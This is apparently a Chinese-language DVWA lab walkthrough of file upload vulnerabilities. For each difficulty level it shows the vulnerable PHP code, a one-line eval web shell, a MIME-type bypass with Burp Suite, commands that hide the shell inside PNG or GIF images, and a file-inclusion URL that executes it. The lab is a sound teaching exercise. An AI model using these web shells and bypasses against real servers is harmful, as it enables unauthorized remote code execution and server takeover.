About

上传漏洞经常出现于头像上传、相册上传、附件上传、新闻投稿等位置,产生的危害极大,
可直接导致web服务器权限被攻击者控制。

如果 Web 应用在文件上传过程中没有对文件的安全性进行有效的校验,攻击者可以通过上
Web Shell 等恶意文件对服务器进行攻击,这种情况下认为系统存在文件上传漏洞。

Web Shell又称网页木马文件,该类木马利用了脚本语言中的系统命令执行、文件读
写等函数的功能,一旦上传到服务器被脚本引擎解析,攻击者就可以实现对服务器的控制。

一句话木马(小马) 大马
功能 功能简单,需要配合客户端使用 功能完善,直接使用浏览器即可利用
大小 代码量通常在一行左右,不超过 10 行 代码量通常较大
隐蔽性 强,容易通过变形隐藏特征,绕过过滤 相对较弱,通常需要加密等方式来隐藏特征

漏洞利用前提:

  • 上传的文件能够被 Web 容器解释执行。所以文件上传后所在的目录要是 Web
    容器所覆盖到的路径。
  • 用户能够从 Web 上访问这个文件。如果文件上传了,但用户无法通过 Web
    访问,或者无法使得 Web容器解释这个脚本,那么也不能称之为漏洞。
  • 用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也
    可能导致攻击不成功。

Object

由于存在此文件上载漏洞,请在目标系统上执行您选择的任何 PHP 函数(如phpinfo()system())。

001 Low

  1. <?php
  2. if( isset( $_POST[ 'Upload' ] ) ) {
  3. // Where are we going to be writing to?
  4. $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  5. $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  6. // Can we move the file to the upload folder?
  7. if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
  8. // No
  9. echo '
  10. <pre>Your image was not uploaded.</pre>';
  11. }
  12. else {
  13. // Yes!
  14. echo "
  15. <pre>{$target_path} succesfully uploaded!</pre>";
  16. }
  17. }
  18. ?>

在该等级中没有对上传的文件做任何检查。我们编写一个简单的 PHP 一句话木马:

<?php @eval($_POST['shell']);?>

把它上传到服务器,然后发送 POST 请求:shell=phpinfo();

1-1.png

我们还可以使用蚁剑去连接 Web Shell:

1-2.png

1-3.png

002 Medium

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '
<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "
<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '
<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

在该等级下,开发者增加了对文件类型的检查,如果我们直接传入上一关的一句话木马,会失败:

2-1.png

由源代码可知,开发者检验文件类型的方法是查看 HTTP 请求的 MIME 类型,我们尝试用 Brupsuite 抓包,修改 HTTP Request Header 中的相关参数。

首先我们在上一步一句话木马的基础上,把文件后缀名改成.png。然后用 Brupsuite 抓包:

2-2.png

我们要修改的地方:

  • Request Body 中filename=webshell-meidum.png改成filename=webshell-medium.php

让 Brupsuite 放行数据包,蚁剑测试,连接 Web Shell 成功:

2-3.png

003 High

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '
<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "
<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '
<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

开发者添加了substr()函数,它寻找.最后一次出现的地方(strrpos()用于计算 needle 在 haystack 中最后一次出现的位置),来截取上传文件的后缀名,以此判断上传的文件类型。getimagesize()能判断文件的图片类型(用文件头的 Magic Number),并获得它的大小。

本题的解决方案是使用图片🐎,简单来说就是先把一个图片改成 txt 格式,然后把一句话木马加进去再改回来,再进行上传。

Linux 系统下执行:

cat shell.php >> shell.png
cat pic.png shell.php >> shell.png
echo 'GIF89a<?php phpinfo();?>' >> pic.png

Windows 系统用 CMD 执行

copy pic.png/b + shell.php/a shell.png

3-1.png

然后上传到服务器:

3-2.png

上传之后在文件上传漏洞页面打开访问,只会返回静态内容,文件不会被执行,此时是不能用蚁剑连接的,因为蚁剑的原理是向上传文件发送包含参数的 POST 请求,通过控制参数来执行不同的命令。

这里服务器将木马文件解析成了图片文件,因此向其发送 POST 请求时,服务器并不会执行相应命令。如果要把这张图片当做 PHP 来执行,得配合文件包含漏洞:

http://hyperv-win10.me/dvwa/vulnerabilities/fi/?page=file:///C:\Software\phpstudy_pro\WWW\DVWA\hackable\uploads\shell-high.png

3-3.png

这里能用 Hackbar 远程执行 Shell 命令,但蚁剑连不上,原因是要修改 Cookies 中的难度等级。先进入 F12 的 Storage 查看当前的 Cookies:

3-4.png

然后添加到 HTTP Request Header:

3-5.png

连接成功:

3-6.png


另一个更简单的办法,是在一句话木马前面加上一个 GIF 文件头标志:

GIF8
<?php @eval($_POST['shell']);?>

然后把保存为:webshell-high.jpg,实测能上传成功:

3-7.png

通过文件包含漏洞和上面一样可以利用:

3-8.png

References